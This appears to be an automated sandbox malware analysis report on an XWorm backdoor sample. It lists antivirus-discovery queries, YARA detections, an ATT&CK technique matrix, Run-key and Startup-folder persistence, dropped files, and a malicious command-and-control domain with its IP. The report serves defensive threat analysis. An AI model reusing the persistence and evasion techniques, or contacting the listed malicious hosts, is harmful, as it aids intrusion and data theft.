Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct

Stealing of Sensitive Information

Yara detected XWorm

Source: Yara match	File source: 1.2.3SBlY301oa.exe.1a9cf4b9ba0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.3SBlY301oa.exe.1a9cf4a4d58.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.jsc.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.3SBlY301oa.exe.1a9cf4b9ba0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.3SBlY301oa.exe.1a9cf4a4d58.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.3783921795.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1543708251.000001A9CF43B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 3SBlY301oa.exe PID: 7544, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: jsc.exe PID: 7624, type: MEMORYSTR

Remote Access Functionality

Yara detected XWorm

Source: Yara match	File source: 1.2.3SBlY301oa.exe.1a9cf4b9ba0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.3SBlY301oa.exe.1a9cf4a4d58.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.jsc.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.3SBlY301oa.exe.1a9cf4b9ba0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.3SBlY301oa.exe.1a9cf4a4d58.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.3783921795.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1543708251.000001A9CF43B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 3SBlY301oa.exe PID: 7544, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: jsc.exe PID: 7624, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	21 Registry Run Keys / Startup Folder	311 Process Injection	1 Masquerading	OS Credential Dumping	131 Security Software Discovery	Remote Services	11 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	21 Registry Run Keys / Startup Folder	11 Disable or Modify Tools	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	1 DLL Side-Loading	41 Virtualization/Sandbox Evasion	Security Account Manager	41 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	311 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	21 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	11 Obfuscated Files or Information	Cached Domain Credentials	13 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	2 Software Packing	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Timestomp	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 DLL Side-Loading	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
3SBlY301oa.exe	71%	ReversingLabs	Win64.Backdoor.Xworm
3SBlY301oa.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Roaming\jsc.exe	0%	ReversingLabs

Source	Detection	Scanner	Label
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
http://schemas.xmlsoap.org/soap/encoding/	0%	URL Reputation	safe
https://aka.ms/pscore6lB	0%	URL Reputation	safe
http://www.apache.org/licenses/LICENSE-2.0.html	0%	URL Reputation	safe
https://go.micro	0%	URL Reputation	safe
http://schemas.xmlsoap.org/wsdl/	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
http://upx.sf.net	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://go.micros	0%	Avira URL Cloud	safe
https://github.com/Pester/Pester	0%	Avira URL Cloud	safe
http://www.microsoft.co	0%	Avira URL Cloud	safe
rwanco.duckdns.org	100%	Avira URL Cloud	malware
http://crl.mi	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false		unknown
rwanco.duckdns.org	78.159.112.6	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
rwanco.duckdns.org	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://nuget.org/NuGet.exe	powershell.exe, 00000009.00000002.1394565515.0000000005CBF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1427775848.0000000005CED000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1468272019.000000000602D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://go.micros	powershell.exe, 0000000F.00000002.1482953682.0000000008993000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 0000000F.00000002.1454204375.0000000005116000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000009.00000002.1387360288.0000000004DA6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1420206040.0000000004DD6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1454204375.0000000005116000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://aka.ms/pscore6lB	powershell.exe, 00000009.00000002.1387360288.0000000004C51000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1420206040.0000000004C81000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1454204375.0000000004FC1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 0000000F.00000002.1454204375.0000000005116000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://go.micro	powershell.exe, 0000000C.00000002.1420206040.000000000546C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000009.00000002.1387360288.0000000004DA6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1420206040.0000000004DD6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1454204375.0000000005116000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/	powershell.exe, 0000000F.00000002.1468272019.000000000602D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000009.00000002.1394565515.0000000005CBF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1427775848.0000000005CED000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1468272019.000000000602D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.microsoft.co	powershell.exe, 0000000F.00000002.1475019979.0000000007A82000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/License	powershell.exe, 0000000F.00000002.1468272019.000000000602D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/Icon	powershell.exe, 0000000F.00000002.1468272019.000000000602D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://upx.sf.net	Amcache.hve.7.dr	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	jsc.exe, 00000003.00000002.3790232304.0000000002BC1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.1387360288.0000000004C51000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1420206040.0000000004C81000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1454204375.0000000004FC1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 0000000F.00000002.1454204375.0000000005116000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.mi	powershell.exe, 0000000F.00000002.1451228175.00000000032AE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
78.159.112.6	rwanco.duckdns.org	Germany		28753	LEASEWEB-DE-FRA-10DE	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1465372
Start date and time:	2024-07-01 15:43:02 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 42s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	28
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	3SBlY301oa.exe renamed because original name is a hash value
Original Sample Name:	b1027ba8039c64d6887daa9ef2f97438ebfa2f6877e2158680c01b326bdc76c9.exe
Detection:	MAL
Classification:	mal100.troj.expl.evad.winEXE@19/24@4/1
EGA Information:	Successful, ratio: 71.4%
HCA Information:	Successful, ratio: 95% Number of executed functions: 264 Number of non-executed functions: 3
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information.
Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, backgroundTaskHost.exe, WmiPrvSE.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 199.232.210.172, 20.189.173.20, 2.16.100.168, 88.221.110.91
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, onedsblobprdwus15.westus.cloudapp.azure.com, ctldl.windowsupdate.com, time.windows.com, a767.dspw65.akamai.net, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, ocsp.digicert.com, login.live.com, blobcollector.events.data.trafficmanager.net, umwatson.events.data.microsoft.com, wu-b-net.trafficmanager.net
Execution Graph export aborted for target jsc.exe, PID 2860 because it is empty
Execution Graph export aborted for target jsc.exe, PID 3256 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
VT rate limit hit for: 3SBlY301oa.exe

Simulations

Behavior and APIs

Time	Type	Description
09:44:12	API Interceptor	30x Sleep call for process: powershell.exe modified
11:28:11	API Interceptor	7473536x Sleep call for process: jsc.exe modified
11:28:14	API Interceptor	1x Sleep call for process: WerFault.exe modified
17:28:14	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run jsc C:\Users\user\AppData\Roaming\jsc.exe
17:28:22	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run jsc C:\Users\user\AppData\Roaming\jsc.exe
17:28:30	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\jsc.lnk

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	http://trk-synovetra.com	Get hash	malicious	Unknown	Browse	199.232.214.172
	fOsCO13KRs.exe	Get hash	malicious	RedLine	Browse	199.232.214.172
	https://cts.vresp.com/c/?WaveCompliance/d919e57ba7/b5e5b2a536/185933d903/utm_source=abhi&utm_medium=hr&utm_campaign=email	Get hash	malicious	Unknown	Browse	199.232.210.172
	Remittance advice.exe	Get hash	malicious	AgentTesla	Browse	199.232.210.172
	https://na4.docusign.net/Signing/EmailStart.aspx?a=95fa3666-e4d2-4181-926f-7d752b5d1bb7&acct=4b225f64-a250-4de3-9bb5-6320c76f2c33&er=388f7591-fe27-446f-8df0-11aebdd778b2	Get hash	malicious	Unknown	Browse	199.232.210.172
	mUNguTZLws.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	199.232.210.172
	Agreement for Bmangan 5753.pdf	Get hash	malicious	HTMLPhisher	Browse	199.232.210.172
	http://62.133.61.26/Downloads/MOD_200.pdf.lnk	Get hash	malicious	Unknown	Browse	199.232.214.172
	http://bestresulttostart.com	Get hash	malicious	Unknown	Browse	199.232.214.172
	MacroGamer.exe	Get hash	malicious	PureLog Stealer, zgRAT	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
LEASEWEB-DE-FRA-10DE	https://cfdieih.hornydate24.link/s/20b72a96a814b?ext_click_id=22v23v2bf02d	Get hash	malicious	Unknown	Browse	178.162.199.80
	Die Frau sa#U00df starr und in sich gekehrt..eml	Get hash	malicious	Unknown	Browse	178.162.199.80
	https://42442763756652.docs.google.com/drawings/d/1tU7bhYvC_6uPDICVJZ5kXXR1DmS2YvHcWEekSlAaWLc/preview?VJ4GG	Get hash	malicious	Porn Scam	Browse	178.162.199.80
	4.pdf	Get hash	malicious	Unknown	Browse	178.162.199.80
	JUSTIFICANTE PAGO FACTURA.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	212.95.49.159
	https://www.purchasephone.shop/	Get hash	malicious	TechSupportScam	Browse	217.20.112.104
	https://argodol.com/ie?v=4&c=pNl_LY5tgxsDVFJ7yjAhxUK53mrL8P-PIMg9guWrcdh3GO5zzQhV7iCF-mGXFebG9h8YlE_RVXPcp49vtB1cCgv2a0l2octZulitWCBOJPArDSW-2qNb3FLq9ypF1k-Vk1irZOwsjsML77pmTp3XSP6169vVcR4Zittr_YOJhI9	Get hash	malicious	Unknown	Browse	178.162.215.162
	BHrOeWBfOL.dll	Get hash	malicious	Unknown	Browse	185.49.69.41
	BHrOeWBfOL.dll	Get hash	malicious	Unknown	Browse	185.49.69.41
	https://winrocket07.z13.web.core.windows.net/	Get hash	malicious	TechSupportScam	Browse	217.20.112.104

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Roaming\jsc.exe	z9order.exe	Get hash	malicious	AgentTesla	Browse
	Halkbank_Ekstre_20240626_0805893_4585894.xlxs.exe	Get hash	malicious	AgentTesla	Browse
	hesaphareketi-01.pdf.exe	Get hash	malicious	AgentTesla	Browse
	kSf9sIgyxl.exe	Get hash	malicious	Nanocore	Browse
	AUS5YMhYPA.exe	Get hash	malicious	AgentTesla	Browse
	INQUIRY#46789_MAY24_PLANEX_SERVICES_CONTRACTING_GOODS.exe	Get hash	malicious	AgentTesla	Browse
	DHL EXPRESS.exe	Get hash	malicious	AgentTesla	Browse
	DHL EXPRESS.exe	Get hash	malicious	AgentTesla	Browse
	SecuriteInfo.com.IL.Trojan.MSILZilla.114613.20476.19722.exe	Get hash	malicious	AgentTesla	Browse
	AWB-Ref-#32122432 Pdf.exe	Get hash	malicious	AgentTesla	Browse

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_3SBlY301oa.exe_5a1a519effa811292938bb68c3ebce597f77c4c_e88ba259_f039ff30-d749-46dd-a705-b4a398e35dde\Report.wer

Process:	C:\Windows\System32\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	modified
Size (bytes):	65536
Entropy (8bit):	0.9926051149229566
Encrypted:	false
SSDEEP:	192:5AKSXrHfez0UnUtaWh8U/NzuiFdZ24lO8wvTSH:9S7egUnUtau80zuiFdY4lO8wvs
MD5:	974E4435C1E4402EA606925A18A5CC21
SHA1:	477880C365880E184CEA07B9489BA8700EC2CB07
SHA-256:	0D44C592AFB0818CCF797DD0FDCEFA8E4C464E52BA35F5221322204B55559C43
SHA-512:	18AB8BCC562935A42BFBA71314C8B4670CC06ACFD27EA47A04647A19B2265AC3D3EB960F893B916C48A290DAB9F460CFC13B25E6FA53C6056C2268D524935E94
Malicious:	true
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.6.4.3.1.5.0.4.9.6.8.0.4.1.8.5.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.6.4.3.1.5.0.5.0.2.2.7.3.0.2.7.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.f.0.3.9.f.f.3.0.-.d.7.4.9.-.4.6.d.d.-.a.7.0.5.-.b.4.a.3.9.8.e.3.5.d.d.e.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.e.f.7.9.2.b.c.e.-.7.4.c.0.-.4.d.2.f.-.b.8.9.2.-.8.5.e.0.9.3.7.7.1.2.1.f.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....N.s.A.p.p.N.a.m.e.=.3.S.B.l.Y.3.0.1.o.a...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.E.p.e.b.u.j.o.k.e.h.a.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.d.7.8.-.0.0.0.1.-.0.0.1.4.-.b.a.0.8.-.d.4.b.e.b.c.c.b.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.1.a.7.5.f.8.d.3.0.6.f.1.4.5.4.0.2.1.d.e.7.7.5.1.e.1.e.8.6.7.d.3.0.0.0.0.0.0.0.0.!.0.0.0.0.5.d.4.7.5.b.0.0.1.5.3.f.3.b.d.0.d.1.6.0.1.0.e.b.d.5.c.5.a.b.a.6.5.6.4.5.5.5.5.2.!.3.S.B.l.Y.3.0.1.o.a...

C:\ProgramData\Microsoft\Windows\WER\Temp\WERBDF.tmp.dmp

Process:	C:\Windows\System32\WerFault.exe
File Type:	Mini DuMP crash report, 16 streams, Mon Jul 1 13:44:09 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	388095
Entropy (8bit):	3.2693049960168037
Encrypted:	false
SSDEEP:	3072:4lvl9wIMI/Q4siQ4cSCXZO5FlJ1CCqntI3+vUVsv:Mvl9rMhmCXYnqC3QUV
MD5:	4400E05FE52E80CDD0829874DAB289DC
SHA1:	523498DF1606537E6DF02B0D36908403E2C78CEF
SHA-256:	68A29596D640C5C1AFED63F65FE271AE9DEBF24F38B8C71DE0EAABE25A3EDD93
SHA-512:	43FD0309E0B5CA4F4435AC21CB8A8F412768A11A60CA41E4749D5F22367C8927E30441B64AD536BD0F22BED695B7FB46E96B09CDBB3C6FE26964B5D4C461B775
Malicious:	false
Preview:	MDMP..a..... ..........f....................................$...........H...........TE...t..........l.......8...........T............(..w............7...........8..............................................................................eJ.......9......Lw......................T.......x......f.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD28.tmp.WERInternalMetadata.xml

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8604
Entropy (8bit):	3.707768815851765
Encrypted:	false
SSDEEP:	192:R6l7wVeJwdFPFu6YNQF4HgmfAqsprR489bTm8fZsxm:R6lXJCFU6Y6FwgmfAqOFTVfJ
MD5:	42959CF7436638A4F83455A213A62E37
SHA1:	A320A106EC69E0A493D2107B7E3F6368B3645CCA
SHA-256:	CEC3B066CFFD2E10A27D4779226501B09A44ADB555D12A74261B708633D0EDFC
SHA-512:	74B2373DAE35EE7D000D8BB7CA633E3037843ABAA14BE14B56FC81D41CDADC8C65EC78D0F974EBAF9EFFE78A70BC666BBB33FA2F2AEC370ECC67AC6E40EE8164
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. 